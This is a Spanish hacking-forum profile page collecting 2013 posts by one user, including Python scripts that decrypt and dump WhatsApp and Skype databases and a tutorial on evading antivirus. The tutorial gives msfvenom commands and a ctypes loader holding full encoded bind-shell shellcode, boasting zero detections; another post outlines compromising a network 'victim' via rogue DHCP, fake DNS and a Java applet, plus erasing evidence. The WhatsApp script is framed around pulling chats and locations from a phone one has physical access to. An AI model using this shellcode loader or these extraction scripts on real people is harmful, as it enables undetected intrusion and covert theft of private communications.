Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Sanko

#161
Nadie dice que me estas mintiendo, solo te estas equivocando.
Un windows server 2012 con powershell puede dar mucho mas de lo que piensas.

Aparte openbsd y demas surgen como entornos mucho mas seguros que un entorno linux cualquiera, es decir, te ahorra muchas horas de conf
#162
te corrijo, las empresas que quieren seguridad usan openbsd, freebsd... linux NO.
#163
Yo tambien te quiero zorra
#164
Python / Whatsapp Metadata Extractor
Mayo 13, 2013, 06:22:08 PM
Código: text
· WhatsApp Metadata Extractor :
       - main_manage.py (main de consola en forma de cliente)
       - DB_Extractor.py (extrae los metadatos de la BD)
       - metaimg_extractor.py (extrae los metadatos de los .jpg encontrados)



main_manage.py :
Código: python
# -*- coding: utf-8 *-*
import DB_Extractor, metaimg_extractor

class WhatsApp_Extractor():

    def __init__(self):
        self.__opt()

    def __opt(self):
        #Uncomment the OPTION that you want to use

        #self.__opt1()  #-> DB METADATA EXTRACTOR
        self.__opt2()  #-> IMG METADATA EXTRACTOR
        #self.__opt3()  #-> BOTH, OPT1 AND OPT2

    def __opt1(self):
        print "DB METADATA"
        print "------------"
        DB_Extractor.DB_Extractor()
        print "------------"

    def __opt2(self):
        print "IMG META"
        print "------------"
        metaimg_extractor.IMG_Meta()
        print "------------"

    def __opt3(self):
        print "DB METADATA"
        print "------------"
        DB_Extractor.DB_Extractor()
        print "------------"
        print "\nIMG META"
        print "------------"
        metaimg_extractor.IMG_Meta()
        print "------------"

WhatsApp_Extractor()


DB_Extractor.py :
Código: python
# -*- coding: utf-8 *-*
#Script to extract the metadata from the WhatsApp crypted DB

import sqlite3
from Crypto.Cipher import AES

class DB_Extractor():

    def __init__(self):
        self._manage_do()

    def _manage_do(self):
        try:
            self.__DB_Breaker('msgstore.db.crypt')
            self.__DB_conn()
            self.__SQL_Consulter()
            #Log exporter
        except:
            print "Error starting the script"

    def __DB_Breaker(self, DBPath):
        self.DBPath = DBPath
        #breaking the hash
        f = open(self.DBPath, 'rb')
        key = "346a23652a46392b4d73257c67317e352e3372482177652c"
        #triying to break the hash
        try:
            key = key.decode('hex')
            cipher = AES.new(key, 1)
            decoded = cipher.decrypt(f.read())
            #Saving into a new db file
            try:
                decoded_DB = open('metadb.db', 'wb')
                decoded_DB.write(decoded)
                decoded_DB.close()
                print "metadb.db has been created in the same directory"
            except:
                print "An error has ocurred creating the decoded DB"
        except:
            print "Error decoding the hash"


    def __DB_conn(self):
        #triying to connect with the sqlite database
        try:
            self.conn = sqlite3.connect('metadb.db')
            self.consult = self.conn.cursor()
        except:
            print "An error has ocurred connecting with the SQLite DB"


    def __SQL_Consulter(self):
        #Divided in :
            # Messages
            # Chat_list

        def __Messages():
            #SQLConsult
            try:
                self.consult.execute("SELECT key_remote_jid, key_from_me, \
                remote_resource, status, datetime(timestamp), data, media_url, media_mime_type, \
                media_size, latitude, longitude FROM messages;")

            except:
                print "An error has ocurred doing the SQL Consult"

            def __Shower():
                #Message details
                #nota : parsear status, comprobar si yo envio o recivo

                for data in self.consult:
                    try:
                        print "\nMessages Details:"
                        print "----------------------"

                        if str(data[2]):
                            if str(data[1]) == '1':
                                print "From: me"
                                print "To: %s(group), integrant: %s"%(str(data[0]), str(data[2]))
                            else:
                                print "From: %s(group), integrant: %s"%(str(data[0]), str(data[2]))
                                print "To: me"
                        else:
                            if str(data[1]) == '1':
                                print "From: me"
                                print "To: " + str(data[0])
                            else:
                                print "From: " + str(data[0])
                                print "To: me"

                        print "Status: " + str(data[3])
                        print "Timestamp: " + str(data[4])
                        print "Message: " + str(data[5])
                        print "Media content: %s, type: %s, size: %s"%(str(data[6]), str(data[7]), str(data[8]))
                        print "Location(Lat: %s, Long: %s)"%(str(data[9]), str(data[10]))
                        print "----------------------"

                    except:
                        continue
                        print "ERROR showing message details"

            __Shower()


        def __Chat_list():
            #SQLConsult
            try:
                self.consult.execute("SELECT id, \
                key_remote_jid FROM chat_list;")

            except:
                print "An error has ocurred doing the SQL Consult"

            def __Shower():
                #Chat list details
                for data in self.consult:
                    try:
                        print "\nChat_list"
                        print "ID: " + str(data[0])
                        print "Number: " + str(data[1])
                        print "----------------------"
                    except:
                        continue
                        print "ERROR showing chat list details"

            __Shower()

        #Initializing
        __Messages()
        __Chat_list()


metaimg_extractor.py :
Código: python
# -*- coding: utf-8 *-*
import os, exif

class IMG_Meta():

    def __init__(self):
        try:
            self.__Media_extractor()
            print "------------------------------------------------------\n"
            self.__Profile_extractor()
        except:
            print "An error has ocurred starting the script"
    def __Media_extractor(self):
        try:
            images = os.listdir('Media/WhatsApp Images/')
        except:
            print "An error has ocurred listing the files into the directory"

        def __Shower():
            for i in images:
                print "-------------"
                print i
                obj = exif.extract_EXIF('Media/WhatsApp Images/%s' % i)
                print "-------------"

        __Shower()

    def __Profile_extractor(self):
        try:
            images = os.listdir('Profile Pictures/')
        except:
            print "An error has ocurred listing the files into the directory"

        def __Shower():
            for i in images:
                print "-------------"
                print i
                obj = exif.extract_EXIF('Profile Pictures/%s' % i)
                print "-------------"

        __Shower()



Trabajando :




Saludos.
#165


Buenas a todos, ya hace un tiempo que no escribo algún que otro articulo y hoy aburrido hablando con unos amigos por whatsapp me quedo la duda de si whatsapp guardaba los logs de todo lo que hicíera y efectivamente whatsapp lo hacia.

Viendo la de cositas que se estaban guardando :
      - Conversaciones de tlfn a tlfn
      - Chats activos
      - Fotos de los perfiles que mire
      - Imágenes, audios, videos que me pasarón o que pase

      (Por ejemplo).

Pues me apetecio hacerle un forense y al tiempo que lo hago os haré una demo del forense a un whatsapp y vereís todos los datos que podemos sacar de utilidad.

Recrearemos un entorno en el que dispongo de acceso físico a un terminal.
El whatsapp es una buena forma de extraer información sobre el día día de la persona, se podría aplicar algo como "Dime con quien andas y te diré quien eres" pero convertido al método geek.


Empezamos con la DEMO :

Bueno, los ficheros de whatsapp se guardan por defecto en /storage/sdcard0/WhatsApp/ , y yo me enviaré los ficheros con Airdroid, una estupenda app para compartir archivos PC - Smartphone vía wifi.




Para pasar a estar conectados en "Modo de conexión remota" como ahí podeís ver solo hay que acceder a You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
y te logueas con tu cuenta.




Y tan solo te queda acceder al directorio y descargar los arhivos de los que extraeremos los metadatos.



Una vez descargados los ficheros voy a proceder a comentaros que podemos encontrar en cada uno de los directorios y cómo podríamos extraerles el jugo.

Tenemos "Databases", "Media" y "Profile Pictures", he hecho un script para que extraiga los metadatos de los db.crypt, tambien extrae los ficheros de la carpeta media(imágenes, audios, videos) y tambien extrae las imágenes encontradas en Profile Pictures.

Databases : Aqui podremos encontrarnos una serie de ficheros con extensión "db.crypt", Whatsapp cifra los archivos SQLite con AES pero siempre usa la misma key "346a23652a46392b4d73257c67317e352e3372482177652c" y de este modo podré decodificarlos.

Media : Aqui nos encontramos con una seríe de archivos (imágenes, audios, videos y wallpapers).

Profile Pictures : Aqui nos encontraremos con todas las imágenes de perfil(de usuario) que hemos mirado desde nuestro whatsapp.


NOTA IMPORTANTE : Para extraer la información de todos estos archivos que hemos obtenido he codeado un script que automatiza todo el proceso (a excepción del proceso de obtención de los ficheros , puesto que se supone que tenemos acceso físico al terminal.)




Ahora os mostraré un esquema en forma de arbol para comprender un poco como funciona el script que he preparado:

· WhatsApp Metadata Extractor :
       - main_manage.py (main de consola en forma de cliente)
       - DB_Extractor.py (extrae los metadatos de la BD)
       - metaimg_extractor.py (extrae los metadatos de los .jpg encontrados)


He dividido el proyecto en 3 scripts, main_manage es el encargado de interactuar con el cliente (el que debemos ejecutar), DB_Extractor es el encargado de realizar las consultas con la BD para extraer toda la información(la que nos interesa) y metaimg_extractor es el encargado de buscar en "Media" y en "Profile Pictures" en busca de metadatos en los archivos .jpg (La mayoria vienen con ellos eliminados por defecto pero no me digas por qué algunas imágenes no se filtran y son subidas sin filtrarse).


Sin más os dejo los codes :

main_manage.py :
Código: python
# -*- coding: utf-8 *-*
import DB_Extractor, metaimg_extractor

class WhatsApp_Extractor():

    def __init__(self):
        self.__opt()

    def __opt(self):
        #Uncomment the OPTION that you want to use

        #self.__opt1()  #-> DB METADATA EXTRACTOR
        self.__opt2()  #-> IMG METADATA EXTRACTOR
        #self.__opt3()  #-> BOTH, OPT1 AND OPT2

    def __opt1(self):
        print "DB METADATA"
        print "------------"
        DB_Extractor.DB_Extractor()
        print "------------"

    def __opt2(self):
        print "IMG META"
        print "------------"
        metaimg_extractor.IMG_Meta()
        print "------------"

    def __opt3(self):
        print "DB METADATA"
        print "------------"
        DB_Extractor.DB_Extractor()
        print "------------"
        print "\nIMG META"
        print "------------"
        metaimg_extractor.IMG_Meta()
        print "------------"

WhatsApp_Extractor()
[/spoiler]


DB_Extractor.py :
[spoiler]
Código: python
# -*- coding: utf-8 *-*
#Script to extract the metadata from the WhatsApp crypted DB

import sqlite3
from Crypto.Cipher import AES

class DB_Extractor():

    def __init__(self):
        self._manage_do()

    def _manage_do(self):
        try:
            self.__DB_Breaker('msgstore.db.crypt')
            self.__DB_conn()
            self.__SQL_Consulter()
            #Log exporter
        except:
            print "Error starting the script"

    def __DB_Breaker(self, DBPath):
        self.DBPath = DBPath
        #breaking the hash
        f = open(self.DBPath, 'rb')
        key = "346a23652a46392b4d73257c67317e352e3372482177652c"
        #triying to break the hash
        try:
            key = key.decode('hex')
            cipher = AES.new(key, 1)
            decoded = cipher.decrypt(f.read())
            #Saving into a new db file
            try:
                decoded_DB = open('metadb.db', 'wb')
                decoded_DB.write(decoded)
                decoded_DB.close()
                print "metadb.db has been created in the same directory"
            except:
                print "An error has ocurred creating the decoded DB"
        except:
            print "Error decoding the hash"


    def __DB_conn(self):
        #triying to connect with the sqlite database
        try:
            self.conn = sqlite3.connect('metadb.db')
            self.consult = self.conn.cursor()
        except:
            print "An error has ocurred connecting with the SQLite DB"


    def __SQL_Consulter(self):
        #Divided in :
            # Messages
            # Chat_list

        def __Messages():
            #SQLConsult
            try:
                self.consult.execute("SELECT key_remote_jid, key_from_me, \
                remote_resource, status, datetime(timestamp), data, media_url, media_mime_type, \
                media_size, latitude, longitude FROM messages;")

            except:
                print "An error has ocurred doing the SQL Consult"

            def __Shower():
                #Message details
                #nota : parsear status, comprobar si yo envio o recivo

                for data in self.consult:
                    try:
                        print "\nMessages Details:"
                        print "----------------------"

                        if str(data[2]):
                            if str(data[1]) == '1':
                                print "From: me"
                                print "To: %s(group), integrant: %s"%(str(data[0]), str(data[2]))
                            else:
                                print "From: %s(group), integrant: %s"%(str(data[0]), str(data[2]))
                                print "To: me"
                        else:
                            if str(data[1]) == '1':
                                print "From: me"
                                print "To: " + str(data[0])
                            else:
                                print "From: " + str(data[0])
                                print "To: me"

                        print "Status: " + str(data[3])
                        print "Timestamp: " + str(data[4])
                        print "Message: " + str(data[5])
                        print "Media content: %s, type: %s, size: %s"%(str(data[6]), str(data[7]), str(data[8]))
                        print "Location(Lat: %s, Long: %s)"%(str(data[9]), str(data[10]))
                        print "----------------------"

                    except:
                        continue
                        print "ERROR showing message details"

            __Shower()


        def __Chat_list():
            #SQLConsult
            try:
                self.consult.execute("SELECT id, \
                key_remote_jid FROM chat_list;")

            except:
                print "An error has ocurred doing the SQL Consult"

            def __Shower():
                #Chat list details
                for data in self.consult:
                    try:
                        print "\nChat_list"
                        print "ID: " + str(data[0])
                        print "Number: " + str(data[1])
                        print "----------------------"
                    except:
                        continue
                        print "ERROR showing chat list details"

            __Shower()

        #Initializing
        __Messages()
        __Chat_list()


metaimg_extractor.py :
Código: python
# -*- coding: utf-8 *-*
import os, exif

class IMG_Meta():

    def __init__(self):
        try:
            self.__Media_extractor()
            print "------------------------------------------------------\n"
            self.__Profile_extractor()
        except:
            print "An error has ocurred starting the script"
    def __Media_extractor(self):
        try:
            images = os.listdir('Media/WhatsApp Images/')
        except:
            print "An error has ocurred listing the files into the directory"

        def __Shower():
            for i in images:
                print "-------------"
                print i
                obj = exif.extract_EXIF('Media/WhatsApp Images/%s' % i)
                print "-------------"

        __Shower()

    def __Profile_extractor(self):
        try:
            images = os.listdir('Profile Pictures/')
        except:
            print "An error has ocurred listing the files into the directory"

        def __Shower():
            for i in images:
                print "-------------"
                print i
                obj = exif.extract_EXIF('Profile Pictures/%s' % i)
                print "-------------"

        __Shower()




Unas imágenes trabajando :

DB_Extractor :


IMG extractor :



El archivo "Exif" que importamos en el metaimg_extractor podemos encontrarlo en el proyecto de grampus en bitbucket -> You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

PD : El Forense podría llegar a hacerse en mayor profundidad, en este caso solo tratamos los datos que podrían ser más relevantes como conversaciones, envio de archivos y el análisis de los metadatos de las imágenes.
En fin, esto es todo, el script os automatizará todo el trabajo "duro"


Saludos !! , Sanko.



PD : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#166
Informática Forense / Re:FOCA, obtener metadatos
Mayo 13, 2013, 05:56:18 PM
Grampus mola bastante más :P
#167
Buena hermano.
#168
Pypi, siempre me ha servido :P, muy útil
#169
Python / Skype Metadata Extractor
Abril 22, 2013, 02:35:31 PM
Simple script para extraer metadatos del main.db de skype, los metadatos son extraidos ordenados por "Profile_details", "Conversations_details" y "Transfers_details"

Código: python
# -*- coding: utf-8 *-*
import sqlite3

class Skype_Meta_Extractor():

    def __init__(self, DBPath):
        self.DBPath = DBPath

        def __manager():
            try:
                self._Profile_Details()
                self._Conver_Details()
                self._Transfer_Details()
            except:
                print "An error has ocurred, please, try again"

        __manager()

    def __main_conn(self):
        try:
            #triying to connect with the sqlite database
            conn = sqlite3.connect(self.DBPath)
            self.consult = conn.cursor()
        except:
            print "Can't connect with the SQLite database'"

    def _Profile_Details(self):
        self.__main_conn()
        try:
            #SQL consult
            self.consult.execute("SELECT fullname, skypename, emails, country, city, languages,\
            datetime(profile_timestamp), datetime(avatar_timestamp),\
            datetime(registration_timestamp) FROM accounts;")
        except:
            print "An error has ocurred doing the SQL consult"

        def _another_info():
            try:
                #SQL consult
                self.consult.execute("SELECT phone_mobile, datetime(birthday) FROM contacts;")
            except:
                print "An error has ocurred doing the SQL consult"

            def __Shower():
                print "Extra info: "
                for data in self.consult:
                    try:
                        if data[0] and data[1]:
                            print "Phone: " + str(data[0])
                            print "Born Date: " + str(data[1])
                        else:
                            continue
                    except:
                        print "An error has ocurred showing the extra info"
                        continue

            __Shower()

        def __Shower():
            #Showing metainfo
            print "- Skype Profile Details"
            for data in self.consult:
                try:
                    print "---------------------------------------"
                    print "Full Name: " + str(data[0])
                    print "Skype Name: " + str(data[1])
                    print "Email: " + str(data[2])
                    print "Country: " + str(data[3])
                    print "City: " + str(data[4])
                    print "Language: " + str(data[5])
                    print "Last profile edition: " + str(data[6])
                    print "Last avatar edition: " + str(data[7])
                    print "Registration Date: " + str(data[8])
                    _another_info()
                    print "---------------------------------------"
                except:
                    continue
                    print "ERROR : An error has ocurred showing the profile info"

        __Shower()

    def _Conver_Details(self):
        self.__main_conn()
        try:
            #SQL Consult
            self.consult.execute("SELECT datetime(timestamp), \
            dialog_partner, author, body_xml FROM Messages;")
        except:
            print "An error has ocurred doing the SQL consult"

        def __Shower():
            #Showing metainfo
            print "\n- Skype Conversations Details"
            for data in self.consult:
                try:
                    print "---------------------------------------"
                    print "Start of the conversation: " + str(data[0])
                    print "Author: " + str(data[2])
                    print "Receiver: " + str(data[1])
                    if data[3]:
                        print "Message: " + str(data[3].encode('utf-8'))
                    else:
                        print "Message: " + str(data[3])
                    print "---------------------------------------"

                except:
                    continue
                    print "ERROR : An error has ocurred showing the Conversations info"

        __Shower()

    def _Transfer_Details(self):
        self.__main_conn()
        try:
            #SQL Consult
            self.consult.execute("SELECT partner_handle, partner_dispname, datetime(starttime),\
            filepath, filename, filesize FROM transfers;")
        except:
            print "An error has ocurred doing the SQL consult"

        def __Shower():
            #Showing metainfo
            print "\n- Skype Transfers Details"
            for data in self.consult:
                try:
                    print "---------------------------------------"
                    print "File receiver container: " + str(data[0]) + "/" + str(data[1])
                    print "Start time: " + str(data[2])
                    print "File path: " + str(data[3])
                    print "File name: " + str(data[4])
                    print "File size: " + str(data[5])
                    print "---------------------------------------"
                except:
                    continue
                    print "ERROR : An error has ocurred showing the transfers info"

        __Shower()


Skype_Meta_Extractor('main.db')


Working :







Saludos
#170
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
No se aprende a programar cripters, se aprende a programar y cuando ya sabes programar puedes programar cripters o lo que quieras.
Yo te recomiendo C.

Un saludo.
+10
#171
Fom3t amigo , no quieras leer sobre BT, dejense de decir que estudian BT, nunca se olviden que es linux y que esta basado en ubuntu por dios.
Lean sobre Linux en general , no sobre BT , iran aprendiendo comandación general, luego aprenderan especificas, descubriran los diferentes gestores de paquetes y en general iran descubriendo más sobre todo.
#172
Dudas y pedidos generales / Re:Robar Cuenta Por XSS
Abril 12, 2013, 06:07:49 PM
Por poder, con un xss puedes incluso infectar una caché.
PD : Antrax, si cierras los ojos y desaparezco de tu vista no quiere decir que dejara de existir , es decir, por poder puede haberlo , otra cosa es que este no este reportado
#173
Python / File and Process VT Checker
Abril 11, 2013, 12:21:29 PM
Bueno, esta semana podría decirse que me la tome de descanso y tube un rato para poder escribir algún script que no tenga que ver con ninguna de los proyectos que tengo activos y coincidio que revisando udtools me tome con un post de FQV en el que posteaba un programa que buscaba el hash de tu archivo en virustotal para comprobar si alguien lo habia subido o no y tambien buscaba los hash de los procesos activos en tu winbug para comprobar si tenias algún ejecutable previamente subido en VT ejecutandose en tu máquina.

Como era de esperar , el source no estaba y como sentí curiosidad por la Public API de VT me decidí a hacer ambos scripts y que ideas como estas puedan prosperar tomando una base y no perder el tiempo codeando todo desde 0.
PD: Iva a esperar a hacer otro script más para publicar los 3 pero surgierón imprevistos y debo volver al "trabajo" así que solamente subo el file checker y el process checker.

VT File Checker :

Código: python
# -*- coding: utf-8 *-*
#It's a simple script to search the hash of the file in VirusTotal
#and check if your file has been uploaded to VT
#Sanko

import urllib, urllib2, hashlib, sys
import simplejson as json

class VT_File_Checker():

    def __init__(self, apikey, sFileName):
        self.apikey = apikey
        self.sFileName = sFileName
        self._ms_do()

    def _ms_do(self):
        try:
            self.__hash_extractor()
            self._report_check()
            self.__DataShower()
        except:
            print "Error, extracting the hash of the file"

    def _report_check(self):
        url = "https://www.virustotal.com/vtapi/v2/file/report"
        parameters = {"resource": self.md5.hexdigest(), "apikey": self.apikey}
        data = urllib.urlencode(parameters)
        try:
            req = urllib2.Request(url, data)
            response = urllib2.urlopen(req)
            re_json = response.read()
        except:
            print "Error connecting with the VT Api"
            sys.exit(0)
        #Parsing Json Data returned...
        self.report = json.loads(re_json)
        re_scan = self.report["scans"]
        for self.av in re_scan:
            self.detections = re_scan[self.av]["detected"]
            self.results = re_scan[self.av]["result"]
            try:
                self.__parser()
            except:
                print "Error showing the returned data"
                sys.exit(0)

    def __parser(self):
        if self.detections == True:
            print "%s : %s"%(self.av, self.results)
        elif self.detections == False:
            print "%s : Ok"%(self.av)
        else:
            print "ERROR Parsing the scan results"

    def __DataShower(self):
        show = """
Extra Data :
------------
Name : %s
Scan_id : %s
Scan_date : %s
Permalink : %s
--------------
Detections : %s/%s
        """
        print show%(self.sFileName, self.report["scan_id"], self.report["scan_date"],
        self.report["permalink"], self.report["positives"], self.report["total"])


    def __hash_extractor(self):
        #opening sFileName
        sFile = open(self.sFileName, 'rb')
        self.md5 = hashlib.md5()
        while True:
            data = sFile.read(8192)
            if not data:
                break
            self.md5.update(data)
        #self.sha1 = hashlib.sha1()
        #self.sha256 = hashlib.sha256()


VT_File_Checker('Aqui la key api', 'aquituejecutable.exe')


Imágen(Working):




VT Process Checker :

Código: python
# -*- coding: utf-8 *-*
#It's a simple script to search the hash of the active processes in VirusTotal
#and check if your active processes are uploaded in VT or not
#Sanko

import urllib, urllib2, hashlib, sys, wmi
import simplejson as json

class VT_Process_Checker():

    def __init__(self, apikey, sFileName):
        self.apikey = apikey
        self.sFileName = sFileName
        self._ms_do()

    def _ms_do(self):
        try:
            self.__hash_extractor()
            self._process_report()
            self.__DataShower()
        except:
            pass
    def _process_report(self):
        url = "https://www.virustotal.com/vtapi/v2/file/report"
        parameters = {"resource": self.md5.hexdigest(), "apikey": self.apikey}
        data = urllib.urlencode(parameters)
        try:
            req = urllib2.Request(url, data)
            response = urllib2.urlopen(req)
            re_json = response.read()
        except:
            print "Error connecting with the VT Api"
            sys.exit(0)
        #Parsing Json Data returned...
        self.report = json.loads(re_json)

    def __DataShower(self):
        data = """
---------------------
Name : %s
MD5 Hash : %s
Scan_date : %s
Detections : %s/%s

Permanent Link : %s
---------------------
        """
        print data%(self.sFileName, self.report["md5"], self.report["scan_date"],
        self.report["positives"], self.report["total"], self.report["permalink"])

    def __hash_extractor(self):
        #opening sFileName
        sFile = open(self.sFileName, 'rb')
        self.md5 = hashlib.md5()
        while True:
            data = sFile.read(8192)
            if not data:
                break
            self.md5.update(data)
        #self.sha1 = hashlib.sha1()
        #self.sha256 = hashlib.sha256()

c = wmi.WMI()
for process in c.Win32_Process ():
    if process.executablepath == None:
        continue
        #Into my virtual machine some process have None value
    else:
        try:
            VT_Process_Checker('Aqui tu api', process.executablepath)
        except:
            continue


Imágen(Working):


Saludos !  :drinking:
#174
Informática Forense / Re:FOCA, obtener metadatos
Abril 03, 2013, 08:02:33 PM
Di adios a la FOCA y di hola a grampus
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#175
no lo uses y no te dará problemas.
#176
En Django solo necesitas codear un html base y crear unos bloques:
{ block title }{ end block } y { block content }{ endblock }

Luego ya solo es extender el .html al resto con :

{% extends 'name.html' %}
{% block title %}  {% endblock %}
{% block content %} En el interior la parte unica del html {% endblock %}

Entre los bloques indicas caracteristicas propias de tu html mientras que el resto lo hereda todo de el archivo.html base.
Hace un rato medio termine la web de grampus que esta en Django y supongo creare una repo en bitbucket para ella, si tienes pensado usar Django me comentas y te paso un link para que le heches un ojo.

edit : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#177
En mi caso yo creo que me decantaría por comprobar con nmap si hay equipos "activos" y montaria un servidor DHCP + fakedns + applet de java y si tu victima esta navegando por la red y no tiene mucha experiencia te "dará" acceso al rato.

PD : Recopilación de información > explotación > post-explotación (escalada de privilegios para intentar llegar a la maquina root de la red y eliminación de pruebas).
#178
Hola a todos ! llevo bastante tiempo de inactividad sin redactar ningún articulo por falta de tiempo (existen prioridades) y era hora de poder dedicarle un tiempo a compartir información.



Hoy os traigo un articulo relacionado con uno que ya escribí hace un tiempo "Evadiendo AV's con Python" en el qué nos serviamos de un shellcode generado por metaesploit, lógicamente aun siendo este embedido necesitariamos de más para poder conseguir un FUD o limpieza total, es por eso que hoy nos ayudaremos de MSFVENOM para cumplir nuestro objetivo.

- uy uy uy uy, sobrecarga de información! no te vayas al tejado! empieza por cimentar el suelo!

Totalmente cierto, empezaremos por cuestionarnos "¿Qué es msfvenom?" :

Cabe destacar que msfvenom es una herramienta "relativamente nueva" que surge para hacer la vida de los pentesters mucho más sencilla.
Esta herramienta no es más que la únion de "msfpayload" y "msfencoder" por lo que esta no te permite solo generar tu payload sino que permite que se codifíque directamente con algún algoritmo(los presentes en msfencoder).


Dicho esto y dejando claro que es una herramienta muy intuitiva (msfvenom -h para mostrar los parametros disponibles) comenzaremos a darle uso para comenzar a evadir antivirus de forma cómoda y rápida.


1 .Comenzemos a generar y a codificar nuestro payload ! :

Generaremos el payload que usamos en el último artículo :
Código: text
windows/shell_bind_tcp LPORT=1337 C


y para generarlo y codificarlo escribiremos :
Código: text
msfvenom --payload <ruta_del_payload> --encoder <algoritmo_de_codificacion> --iterations <numero_de_iteraciones_ algoritmo si el las permite > --bad-chars <caracteres_a_ignorar normalmente  recomendado  x00 >


Ejemplo :



Aun siendo codificado por msfvenom si transformamos este shellcode a exe comprobaremos que aun sigue con bastantes detecciones




Link del reporte
-> You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Bien, es hora de comenzar la magia !, usaremos el mismo script que utilizamos en la ocasión pasada , es decir , recurriremos a la libreria ctypes para crear un buffer que ejecute el shellcode en memoria.

Código: python
from ctypes import *

shellcode = ("\xda\xd7\xd9\x74\x24\xf4\xbd\xf8\xd2\x02\xa0\x5a\x33\xc9" +
"\xb1\x78\x31\x6a\x17\x83\xea\xfc\x03\x92\xc1\xe0\x55\xdc" +
"\x32\x6b\xba\x51\x62\xb4\x1c\xe5\xb0\xc1\xc5\x2e\x70\x98" +
"\x8b\x01\xf0\xc8\xe8\x8b\x08\xed\x9c\x90\x9c\x28\xae\xa2" +
"\x17\xa9\x68\x3b\xd6\x8e\xa4\x3a\x6b\xef\x7d\xbc\x40\xfa" +
"\xf4\xd0\x6e\x8c\x6e\x44\xcc\x7d\xe7\x9d\x5a\x74\xde\x78" +
"\x7d\x3a\x6a\x45\x5a\xa6\x25\xb0\xfb\x36\x1e\x48\xb3\xf6" +
"\xa6\x22\xc6\x85\xe8\x33\x87\xbe\x1d\xfc\xab\x13\x02\xd4" +
"\x82\x2b\xa1\xe5\x3e\x3b\xb5\x51\x33\x50\x16\xa3\xe4\x9f" +
"\x25\xc3\xe8\x89\xd4\xb0\xd1\x83\x50\x20\xcb\x76\x0f\x2d" +
"\x8a\x31\xd9\x3b\xc8\x82\xdd\x65\x94\x57\x04\x3e\x7e\x69" +
"\xa6\x63\xc9\x06\x19\x9d\x49\xe9\x3d\x45\xf5\x19\x5b\xa0" +
"\x8a\x97\x33\xd2\x50\xe6\xff\xc7\xe7\xd6\xb4\x5e\xdd\xcc" +
"\x14\xfd\x18\xc6\xb9\x0c\xd6\xf7\xa4\x9b\xf7\x33\x4d\x56" +
"\xe0\x03\xd8\x8d\xf4\xe9\xde\xa9\xc3\x10\xd5\x8b\xcc\x86" +
"\xf5\x93\x42\x50\x9f\x45\xc9\x10\x4d\x92\x81\xe9\xb1\x85" +
"\xee\x43\xea\x72\x62\x37\x4b\x64\xc5\x0c\xd8\x64\xc0\x38" +
"\xa4\xe1\xad\xf7\xa1\x7e\x50\x52\x72\xac\xef\xd1\x74\x21" +
"\xf3\xe9\xe3\x65\xdb\x26\x48\xd0\x63\x87\x93\x22\x4b\x86" +
"\x0c\x80\x12\x27\x6a\x2e\x1d\x09\x7e\xee\xd1\x0f\xfe\xbe" +
"\x39\x8a\xb2\x55\x03\x4a\xb2\xc2\x79\x36\x9d\xd6\x29\xf4" +
"\xef\x71\xff\xa9\xde\x76\xbd\x62\x60\x52\x12\x8e\x48\x42" +
"\x7d\xaf\x5e\x5d\xc2\xe1\xcb\x39\xee\x86\xe2\x11\x07\xf9" +
"\x6d\x92\xfa\x56\xa2\x1a\xa4\x2d\x2c\x0f\x19\x20\xa2\x34" +
"\x5f\x64\x1a\x05\x87\xe9\xd0\xd5\xa0\xb3\x58\x38\x3b\x2c" +
"\x14\xd0\x74\x16\x46\x7b\x63\xbe\x0c\xae\x08\x9c\x03\x0d" +
"\xed\x06\x99\x2f\xcd\x67\x09\x12\x8c\x29\x6b\x92\x0b\xc5" +
"\x3f\x13\x25\x2a\x77\x5b\xf7\xd8\x63\x87\x46\xb8\xa5\x36" +
"\xc1\xc5\xd5\xcb\x55\xa4\x6f\xd6\x05\x45\x9f\xac\x41\xbe" +
"\xac\xbb\xb8\x03\x46\x04\xde\xd3\x64\x46\x81\x30\x93\x7d" +
"\xd3\x55\x34\xdf\x83\xc4\xde\xf3\x42\x86\x90\xbf\x92\xa0" +
"\x81\xdc\x5e\x05\xc4\x8e\x83\xdb\x6f\x90\xb2\x46\xb1\x2a" +
"\xcd\xd8\x03\x91\xde\x9f\x4e\x05\x75\x2b\x25\x2d\xeb\xfc" +
"\xe5\xa8\x48\xf6\x9f\x77\x8b\xc1\xf4\x78\x0b\xbf\xb4\xc7" +
"\xa6\xb7\x0b\x56\x92\x1b\x40\xc8\x37\x54\xa5\x86\x5b\xaf" +
"\xfd\xab\xa6\x68\xf6\x7b\x0c\xef\x3a\x04\x34\xbe\x55")

memoria = create_string_buffer(shellcode, len(shellcode))
shell = cast(memoria, CFUNCTYPE(c_void_p))
shell()


Bueno , ahora con py2exe lo convertimos en un ejecutable y lo analizamos...



Scan para vagos :

RESULTS:   0/35
AVG Free -
ArcaVir -
Avast 5 -
AntiVir (Avira) -
BitDefender -
VirusBuster  -
Clam  -
COMODO  -
Dr.Web -
eTrust-Vet -
F-PROT  -
F-Secure  -
G Data -
IKARUS  -
Kaspersky  -
McAfee -
MS  Essentials -
ESET NOD32 -
Norman -
Norton  -
Panda  -
A-Squared -
Quick Heal  -
Solo  -
Sophos -
Trend Micro  -
VBA32  -
Vexira  -
Zoner AntiVirus -
Ad-Aware -
BullGuard -
Immunet  -
K7 Ultimate -
NANO  -
VIPRE -

File Name      encoded.exe
File Size:   5044988
File MD5:    f4a8fd68004d0f6f6de8d6a336a86bd2
File SHA1:   159eb4450af494787961ce7a093cccd11a764bc1
Check Time:  2013-03-22 23:59:23

Scan report generated by
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Para nuestra sorpresa y como podemos observar esta TOTALMENTE FUD , 0/35, esto podría estar bien siempre y cuando el payload continuara siendo funcional, ejecutemoslo y veamos si realmente sigue funcionando :



Y ya con esto concluimos ! , espero que os sirviera de ayuda.
En este artículo no se profundiza en el uso de msfvenom ya que no es lo que se pretende, si deseas saber más acerca de él -> You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

